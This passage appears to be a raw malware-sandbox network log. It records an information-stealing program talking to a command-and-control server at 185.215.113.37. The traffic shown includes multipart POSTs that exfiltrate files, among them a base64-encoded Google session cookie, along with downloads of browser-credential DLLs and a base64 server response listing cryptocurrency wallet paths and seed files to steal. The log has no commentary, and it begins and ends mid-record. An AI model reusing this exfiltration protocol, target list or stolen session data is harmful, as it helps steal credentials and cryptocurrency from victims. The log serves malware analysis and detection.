name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12ZFZad2NIbnFWeldIQVUxNHY1M01OMVZ2d3ZRcThiYVlmZzItSUF0cVpCVjVOT0w1cnZqMk5XSXFyejM3N1VoTGRIdE9nRS10SmFCbFVCWUpFaHVHc1FkcW5pM29USmcwYnJxdjFkamRpTEp5dlRTVWhkSy1jNUpXYWRDU3NVTFBMemhTeC1GLTZ3T2c0Cg==------JJECFIECBGDGCAAAEHIE--
Oct 24, 2024 08:38:35.644114971 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:38:35 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 08:38:36.227063894 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCAAEGDBKJJKECBKFHC Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 64 32 63 63 62 62 65 39 38 63 63 61 31 65 61 62 37 65 65 38 30 30 36 64 36 66 35 35 30 35 63 38 66 35 65 39 62 36 30 66 65 63 62 38 33 34 33 38 37 35 32 30 64 32 39 30 38 30 39 34 64 30 32 38 66 30 36 36 36 66 66 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AFCAAEGDBKJJKECBKFHCContent-Disposition: form-data; name="token"bd2ccbbe98cca1eab7ee8006d6f5505c8f5e9b60fecb834387520d2908094d028f0666ff------AFCAAEGDBKJJKECBKFHCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AFCAAEGDBKJJKECBKFHCContent-Disposition: form-data; name="file"------AFCAAEGDBKJJKECBKFHC--
Oct 24, 2024 08:38:37.004795074 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:38:36 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 08:38:39.033947945 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFIDAFBFBKFHJJKEHIEG Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 64 32 63 63 62 62 65 39 38 63 63 61 31 65 61 62 37 65 65 38 30 30 36 64 36 66 35 35 30 35 63 38 66 35 65 39 62 36 30 66 65 63 62 38 33 34 33 38 37 35 32 30 64 32 39 30 38 30 39 34 64 30 32 38 66 30 36 36 36 66 66 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KFIDAFBFBKFHJJKEHIEGContent-Disposition: form-data; name="token"bd2ccbbe98cca1eab7ee8006d6f5505c8f5e9b60fecb834387520d2908094d028f0666ff------KFIDAFBFBKFHJJKEHIEGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KFIDAFBFBKFHJJKEHIEGContent-Disposition: form-data; name="file"------KFIDAFBFBKFHJJKEHIEG--
Oct 24, 2024 08:38:39.806376934 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:38:39 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 08:38:41.600214958 CEST	93	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 24, 2024 08:38:41.873785019 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:38:41 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 24, 2024 08:38:43.650293112 CEST	93	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 24, 2024 08:38:43.923978090 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:38:43 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 24, 2024 08:38:45.043632984 CEST	94	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 24, 2024 08:38:45.317936897 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:38:45 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 24, 2024 08:38:45.991230011 CEST	90	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 24, 2024 08:38:46.265156984 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:38:46 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 24, 2024 08:38:47.695681095 CEST	94	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 24, 2024 08:38:47.969583035 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:38:47 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 24, 2024 08:38:48.198040009 CEST	98	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 24, 2024 08:38:48.471965075 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:38:48 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 24, 2024 08:38:49.482949018 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHIIJJJKEGIDGCBAFIJ Host: 185.215.113.37 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 08:38:50.261327028 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:38:49 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 08:38:50.379111052 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHIJDHCAKKFCBGCBAAEC Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 49 4a 44 48 43 41 4b 4b 46 43 42 47 43 42 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 64 32 63 63 62 62 65 39 38 63 63 61 31 65 61 62 37 65 65 38 30 30 36 64 36 66 35 35 30 35 63 38 66 35 65 39 62 36 30 66 65 63 62 38 33 34 33 38 37 35 32 30 64 32 39 30 38 30 39 34 64 30 32 38 66 30 36 36 36 66 66 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 4a 44 48 43 41 4b 4b 46 43 42 47 43 42 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 4a 44 48 43 41 4b 4b 46 43 42 47 43 42 41 41 45 43 2d 2d 0d 0a Data Ascii: ------EHIJDHCAKKFCBGCBAAECContent-Disposition: form-data; name="token"bd2ccbbe98cca1eab7ee8006d6f5505c8f5e9b60fecb834387520d2908094d028f0666ff------EHIJDHCAKKFCBGCBAAECContent-Disposition: form-data; name="message"wallets------EHIJDHCAKKFCBGCBAAEC--
Oct 24, 2024 08:38:50.655550003 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:38:50 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 24, 2024 08:38:50.659109116 CEST	466	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAECGCGHCGHCAKECBKJK Host: 185.215.113.37 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 43 47 43 47 48 43 47 48 43 41 4b 45 43 42 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 64 32 63 63 62 62 65 39 38 63 63 61 31 65 61 62 37 65 65 38 30 30 36 64 36 66 35 35 30 35 63 38 66 35 65 39 62 36 30 66 65 63 62 38 33 34 33 38 37 35 32 30 64 32 39 30 38 30 39 34 64 30 32 38 66 30 36 36 36 66 66 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 47 43 47 48 43 47 48 43 41 4b 45 43 42 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 47 43 47 48 43 47 48 43 41 4b 45 43 42 4b 4a 4b 2d 2d 0d 0a Data Ascii: ------DAECGCGHCGHCAKECBKJKContent-Disposition: form-data; name="token"bd2ccbbe98cca1eab7ee8006d6f5505c8f5e9b60fecb834387520d2908094d028f0666ff------DAECGCGHCGHCAKECBKJKContent-Disposition: form-data; name="message"files------DAECGCGHCGHCAKECBKJK--
Oct 24, 2024 08:38:50.934940100 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:38:50 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 08:38:50.952423096 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFCFIEHCFIECBGCBFHIJ Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 64 32 63 63 62 62 65 39 38 63 63 61 31 65 61 62 37 65 65 38 30 30 36 64 36 66 35 35 30 35 63 38 66 35 65 39 62 36 30 66 65 63 62 38 33 34 33 38 37 35 32 30 64 32 39 30 38 30 39 34 64 30 32 38 66 30 36 36 36 66 66 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KFCFIEHCFIECBGCBFHIJContent-Disposition: form-data; name="token"bd2ccbbe98cca1eab7ee8006d6f5505c8f5e9b60fecb834387520d2908094d028f0666ff------KFCFIEHCFIECBGCBFHIJContent-Disposition: form-data; 